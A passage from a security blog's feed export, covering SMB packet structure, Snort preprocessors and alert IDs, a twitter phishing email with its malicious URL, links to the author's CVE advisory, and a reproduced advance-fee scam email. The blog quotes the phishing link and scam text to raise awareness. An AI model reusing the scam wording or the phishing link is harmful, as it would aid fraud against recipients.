/&gt;USHORT UID; &lt;br /&gt;USHORT MID;&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;a href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/TDtUwyEUW0I/AAAAAAAAAKs/4515CWLSpvI/s1600/SMBReq.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5493077367558789954" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/TDtUwyEUW0I/AAAAAAAAAKs/4515CWLSpvI/s320/SMBReq.jpg" style="cursor: pointer; display: block; height: 250px; margin: 0px auto 10px; text-align: center; width: 386px;" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;SMB Parameter Block:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;SMB_Parameters&lt;br /&gt;{&lt;br /&gt;UCHAR WordCount;&lt;br /&gt;USHORT Words[WordCount] (variable);&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SMB Data Block:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;SMB_Data&lt;br /&gt;{&lt;br /&gt;USHORT ByteCount;&lt;br /&gt;UCHAR Bytes[ByteCount] (variable);&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;For further details&lt;br /&gt;http://msdn.microsoft.com/en-us/library/ee441466%28v=PROT.13%29.aspx&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-5867481496998283709?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/5867481496998283709/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2010/07/server-message-block-smb-protocol.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/5867481496998283709'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/5867481496998283709'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2010/07/server-message-block-smb-protocol.html' title='Server Message Block (SMB) Protocol Dissection'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_SQ_PsgPnt_w/TDtUwyEUW0I/AAAAAAAAAKs/4515CWLSpvI/s72-c/SMBReq.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-8115383247131515245</id><published>2010-06-28T00:38:00.008+05:30</published><updated>2012-02-07T21:52:14.323+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='IDS/IPS'/><category scheme='http://www.blogger.com/atom/ns#' term='snort'/><title type='text'>Snort Preprocessors and Alerts</title><content type='html'>&lt;link href="file:///C:%5CUsers%5CPRAVEE%7E1%5CAppData%5CLocal%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml" rel="File-List"&gt;&lt;link href="file:///C:%5CUsers%5CPRAVEE%7E1%5CAppData%5CLocal%5CTemp%5Cmsohtml1%5C01%5Cclip_editdata.mso" rel="Edit-Time-Data"&gt;&lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} &lt;/style&gt;&lt;smarttagtype name="stockticker" namespaceuri="urn:schemas-microsoft-com:office:smarttags"&gt;&lt;/smarttagtype&gt;&lt;object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"&gt;&lt;/object&gt; &lt;style&gt; st1\:*{behavior:url(#ieooui) } &lt;/style&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-parent:"";  margin:0in;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:12.0pt;  font-family:"Times New Roman";  mso-fareast-font-family:"Times New Roman";} a:link, span.MsoHyperlink  {color:blue;  text-decoration:underline;  text-underline:single;} a:visited, span.MsoHyperlinkFollowed  {color:purple;  text-decoration:underline;  text-underline:single;} @page Section1  {size:8.5in 11.0in;  margin:1.0in 1.25in 1.0in 1.25in;  mso-header-margin:.5in;  mso-footer-margin:.5in;  mso-paper-source:0;} div.Section1  {page:Section1;} --&gt; &lt;/style&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;u&gt;Snort Preprocessors&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;Preprocessors were introduced in Snort v1.5. Preprocessor code is run before the detection engine is called, but after the packet has been decoded. The packet can be modified or analyzed in an out-of-band manner using this mechanism. Preprocessors help in identifying possible attack packets before rules are applied, after the preprocessing stage various rules are applied on the packets (raw data) for detecting attacks based on the pattern matches. Preprocessors need to be configured from &lt;b&gt;snort.conf&lt;/b&gt; file which can be found at &lt;b&gt;/etc/&lt;/b&gt; or &lt;b&gt;/etc/snort/&lt;/b&gt;. frag2 should be commented if frag3 is used and stream4 is commented if stream5 is used. &lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor frag2&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor frag3 // IP packet reassembly or defragmentation&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor stream4: detect_scans&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor stream4_reassemble&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor stream5 // &lt;stockticker&gt;TCP&lt;/stockticker&gt; Segmentation reassembly, stateful protocol analysis&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor http_decode // http normalization of url-encoded data&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor rpc_decode&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor bo // back orifice backdoor traffic detection&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor telnet_decode&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor sf_portscan // detects various portscans&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor sf_ssh &lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor sf_smtp&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor sf_ftptelnet&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor sf_dns&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor sf_dcerpc&lt;/div&gt;&lt;div class="MsoNormal"&gt;preprocessor sf_ssl&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;Snort also has &lt;b&gt;Postprocessors&lt;/b&gt; or &lt;b&gt;output plug-ins&lt;/b&gt;. These are the snort processors/plug-ins that determine what to do after traffic is identified as malicious based on pre-processors or rules. Popular post-processors are those that send snort alerts and log data to databases; those which allow SNMP event messaging etc.&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;u&gt;Snort Alerts&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Snort alerts logged onto a logfile look like (there may be different alerts in your environment)&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;[**] [1:2050:14] SQL version overflow attempt [**]&lt;/div&gt;&lt;div class="MsoNormal"&gt;[**] [1:8428:9] &lt;stockticker&gt;WEB&lt;/stockticker&gt;-MISC SSLv2 openssl get shared ciphers overflow attempt [**]&lt;/div&gt;&lt;div class="MsoNormal"&gt;[**] [122:3:0] (portscan) &lt;stockticker&gt;TCP&lt;/stockticker&gt; Portsweep [**]&lt;/div&gt;&lt;div class="MsoNormal"&gt;[**] [119:4:1] (http_inspect) BARE BYTE UNICODE ENCODING [**]&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;The &lt;b&gt;first number &lt;/b&gt;(1, 122, 119 here) is the Generator ID, this tells the user what component of Snort generated this alert. List of GIDs can be found at &lt;b&gt;etc/generators&lt;/b&gt; in the Snort source. &lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Generators file has the format shown below&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;generatorid || alertid || MSG&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Below diagram shows the generator id, alert id or snort id and alert name.&lt;b&gt; &lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;a href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/TCeiYoCtpZI/AAAAAAAAAKQ/7_JymnlvaC4/s1600/snort_preproc_alerts.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5487533214923597202" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/TCeiYoCtpZI/AAAAAAAAAKQ/7_JymnlvaC4/s320/snort_preproc_alerts.jpg" style="cursor: pointer; display: block; height: 250px; margin: 0px auto 10px; text-align: center; width: 367px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;shapetype coordsize="21600,21600" filled="f" id="_x0000_t75" path="m@4@5l@4@11@9@11@9@5xe" preferrelative="t" spt="75" stroked="f"&gt;&lt;stroke joinstyle="miter"&gt;&lt;formulas&gt;&lt;f eqn="if lineDrawn pixelLineWidth 0"&gt;&lt;f eqn="sum @0 1 0"&gt;&lt;f eqn="sum 0 0 @1"&gt;&lt;f eqn="prod @2 1 2"&gt;&lt;f eqn="prod @3 21600 pixelWidth"&gt;&lt;f eqn="prod @3 21600 pixelHeight"&gt;&lt;f eqn="sum @0 0 1"&gt;&lt;f eqn="prod @6 1 2"&gt;&lt;f eqn="prod @7 21600 pixelWidth"&gt;&lt;f eqn="sum @8 21600 0"&gt;&lt;f eqn="prod @7 21600 pixelHeight"&gt;&lt;f eqn="sum @10 21600 0"&gt;&lt;/f&gt;&lt;path connecttype="rect" extrusionok="f" gradientshapeok="t"&gt;&lt;lock aspectratio="t" ext="edit"&gt;&lt;/lock&gt;&lt;/path&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/formulas&gt;&lt;/stroke&gt;&lt;/shapetype&gt;&lt;shape id="_x0000_i1025" type="#_x0000_t75"&gt;&lt;imagedata src="file:///C:\Users\PRAVEE~1\AppData\Local\Temp\msohtml1\01\clip_image001.png" title="椑슚"&gt;&lt;/imagedata&gt;&lt;/shape&gt;&amp;lt;!--[if !vml]--&amp;gt;&lt;/div&gt;&lt;link href="file:///C:%5CUsers%5CPRAVEE%7E1%5CAppData%5CLocal%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml" rel="File-List"&gt;&lt;link href="file:///C:%5CUsers%5CPRAVEE%7E1%5CAppData%5CLocal%5CTemp%5Cmsohtml1%5C01%5Cclip_editdata.mso" rel="Edit-Time-Data"&gt;&lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} &lt;/style&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-parent:"";  margin:0in;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:12.0pt;  font-family:"Times New Roman";  mso-fareast-font-family:"Times New Roman";} @page Section1  {size:8.5in 11.0in;  margin:1.0in 1.25in 1.0in 1.25in;  mso-header-margin:.5in;  mso-footer-margin:.5in;  mso-paper-source:0;} div.Section1  {page:Section1;} --&gt; &lt;/style&gt;&lt;span style="font-family: &amp;quot;; font-size: 12pt;"&gt;&lt;shapetype coordsize="21600,21600" filled="f" id="_x0000_t75" path="m@4@5l@4@11@9@11@9@5xe" preferrelative="t" spt="75" stroked="f"&gt;&lt;stroke joinstyle="miter"&gt;&lt;formulas&gt;&lt;f eqn="if lineDrawn pixelLineWidth 0"&gt;&lt;f eqn="sum @0 1 0"&gt;&lt;f eqn="sum 0 0 @1"&gt;&lt;f eqn="prod @2 1 2"&gt;&lt;f eqn="prod @3 21600 pixelWidth"&gt;&lt;f eqn="prod @3 21600 pixelHeight"&gt;&lt;f eqn="sum @0 0 1"&gt;&lt;f eqn="prod @6 1 2"&gt;&lt;f eqn="prod @7 21600 pixelWidth"&gt;&lt;f eqn="sum @8 21600 0"&gt;&lt;f eqn="prod @7 21600 pixelHeight"&gt;&lt;f eqn="sum @10 21600 0"&gt;&lt;/f&gt;&lt;path connecttype="rect" extrusionok="f" gradientshapeok="t"&gt;&lt;lock aspectratio="t" ext="edit"&gt;&lt;/lock&gt;&lt;/path&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/f&gt;&lt;/formulas&gt;&lt;/stroke&gt;&lt;/shapetype&gt;&lt;shape id="_x0000_i1025" type="#_x0000_t75"&gt;&lt;imagedata src="file:///C:\Users\PRAVEE~1\AppData\Local\Temp\msohtml1\01\clip_image001.png" title="椑슚"&gt;&lt;/imagedata&gt;&lt;/shape&gt;&amp;lt;!--[if !vml]--&amp;gt;&amp;lt;!--[endif]--&amp;gt;&lt;/span&gt; &lt;br /&gt;&lt;div class="MsoNormal"&gt;Any alert under ARP Spoofing and spp_fnord will have a Generator ID's of 112 and 114 respectively.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&amp;lt;!--[endif]--&amp;gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;The &lt;b&gt;second number &lt;/b&gt;(2050, 8428, 3, 4 here) is the Snort ID (or Signature ID). For a list of preprocessor SIDs, please see &lt;b&gt;etc/gen-msg.map&lt;/b&gt;. Rule-based SIDs are written directly into the rules with the “sid” option. &lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;The &lt;b&gt;third number &lt;/b&gt;(14, 9, 0, 1 from above alerts) is the revision ID. This number is primarily used when writing signatures, as each re-edition or fine tuning of the rule should increment this number with the “rev” option. e.g. " SQL version overflow attempt" signature is modified 14 times !!!&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;For detailed description of various concepts refer Snort&lt;sup&gt;TM &lt;/sup&gt;Users Manual.&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;a href="http://www.snort.org/assets/140/snort_manual_2_8_6.pdf"&gt;http://www.snort.org/assets/140/snort_manual_2_8_6.pdf&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;a href="http://www.snort.org/assets/140/snort_manual_2_8_6.pdf"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-8115383247131515245?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/8115383247131515245/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2010/06/snort-preprocessors-and-alerts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/8115383247131515245'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/8115383247131515245'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2010/06/snort-preprocessors-and-alerts.html' title='Snort Preprocessors and Alerts'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_SQ_PsgPnt_w/TCeiYoCtpZI/AAAAAAAAAKQ/7_JymnlvaC4/s72-c/snort_preproc_alerts.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-3057305675535911091</id><published>2010-06-11T23:10:00.009+05:30</published><updated>2012-02-07T22:02:43.182+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='spam'/><category scheme='http://www.blogger.com/atom/ns#' term='pay per click'/><title type='text'>twitter Phishing</title><content type='html'>This was a Phishing mail related to twitter in my SPAM box, out of curiosity I opened this mail to dig deeper. Sample mail cam be seen in the picture below.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_SQ_PsgPnt_w/TBJ29xW-8ZI/AAAAAAAAAJs/2XS_lpbmx_s/s1600/twitter_spam_mail.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5481574500057149842" src="http://2.bp.blogspot.com/_SQ_PsgPnt_w/TBJ29xW-8ZI/AAAAAAAAAJs/2XS_lpbmx_s/s320/twitter_spam_mail.jpg" style="cursor: pointer; display: block; height: 136px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;When you take mouse over the URL in the mail or on to "Twitter Support" link we can see the Phishing URL. &lt;br /&gt;&lt;br /&gt;http://84.51.21.51/~chatliam/mepw.html&lt;br /&gt;&lt;br /&gt;Opening the link will redirect us to&lt;br /&gt;&lt;br /&gt;http://tirearoma.com/&lt;br /&gt;&lt;br /&gt;Didn't find anything malicious in the tirearoma.com page. The Phishing might be just to increase hits to "tirearoma.com", &lt;span style="font-weight: bold;"&gt;pay-per-click&lt;/span&gt; !!!&lt;br /&gt;&lt;br /&gt;The redirected page has plethora of capsules related to Viagra etc. etc.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/TBJ53afZ-kI/AAAAAAAAAJ0/kYWOVDJqHCI/s1600/twitter_tirearoma.com.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5481577689374128706" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/TBJ53afZ-kI/AAAAAAAAAJ0/kYWOVDJqHCI/s320/twitter_tirearoma.com.jpg" style="cursor: pointer; display: block; height: 201px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;Happy browsing !!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-3057305675535911091?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/3057305675535911091/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2010/06/twitter-phishing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/3057305675535911091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/3057305675535911091'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2010/06/twitter-phishing.html' title='twitter Phishing'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_SQ_PsgPnt_w/TBJ29xW-8ZI/AAAAAAAAAJs/2XS_lpbmx_s/s72-c/twitter_spam_mail.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-5913799752846696997</id><published>2010-06-02T01:52:00.003+05:30</published><updated>2010-06-02T01:59:51.059+05:30</updated><title type='text'>First Vulnerability I Found: CVE-2010-2091</title><content type='html'>http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2091&lt;br /&gt;&lt;br /&gt;http://xforce.iss.net/xforce/xfdb/58835&lt;br /&gt;&lt;br /&gt;http://www.securityfocus.com/archive/1/archive/1/511401/100/0/threaded&lt;br /&gt;&lt;br /&gt;http://www.exploit-db.com/exploits/12728&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-5913799752846696997?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/5913799752846696997/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2010/06/first-vulnerability-i-found-cve-2010.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/5913799752846696997'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/5913799752846696997'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2010/06/first-vulnerability-i-found-cve-2010.html' title='First Vulnerability I Found: CVE-2010-2091'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-6725271860536837157</id><published>2010-05-11T19:30:00.003+05:30</published><updated>2012-02-07T21:59:12.475+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='spam'/><title type='text'>SPAM Mails: Part 2</title><content type='html'>Following is the SPAM mail which most of us has received and many ended up in replying&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;to it&lt;span style="font-weight: bold;"&gt;.&lt;br /&gt;&lt;br /&gt;Dearest One,&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Good a thing to write you. I have a proposal for you; this however is not&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mandatory nor will I in any manner compels you to honour against your&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;will.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;I am Aisha Al- Salam, 23years old and the only daughter of my late&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;parents Mr.and Mrs.Hassan Al-salam my father was a highly reputable&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;business magnet - (a cocoa merchant) who operated in the capital of Cote&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;D Ivorie during his days.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;It is sad to say that he passed away mysteriously in France during one of&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;his business trips abroad year 12th.Febuary 2007. Though his sudden death&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;was linked or rather suspected to have been masterminded by an uncle of&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;his who travelled with him at that time. But God knows the truth! My&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mother left me when I was just 4 years old, and since then my father took&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;me so special.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Before his death on February 12th 2007 he called his secretary who&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;accompanied him to the hospital and told him that he has the sum of 7.5&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;million, United States Dollars.(USD$7,500.000 ) left in one of the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Leading Bank in Cote D Ivorie and he deposited the money in my name in&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;the bank as the next kins.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;I am just 23 years old and a university undergraduate and really don't&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;know what to do. Now I want a foreign partner overseas where I can&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;transfer this fund. This is because I have suffered a lot of set backs as&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;a result of incessant political crisis here in Cote D Ivorie . The death&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;of my father actually brought sorrow to my life.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Sir, I am in a sincere desire of your humble assistance in this&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;regards.Your suggestions and ideas will be highly regarded. Now permit me&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;to ask these few questions:-&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. Can you honestly help me as your daughter?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. Can I completely trust you?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;I have decided to offer you 30% of the total amount for your willingness&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;to help me, Please kindly response to my mail immediately with your full&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;personal information, telephone number so that I can call and speak with&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;you on the telephone.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Please, consider this and get back to me as soon as possible.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Thank you so much.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Insallah .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;My sincere regards,&lt;/span&gt;&lt;br 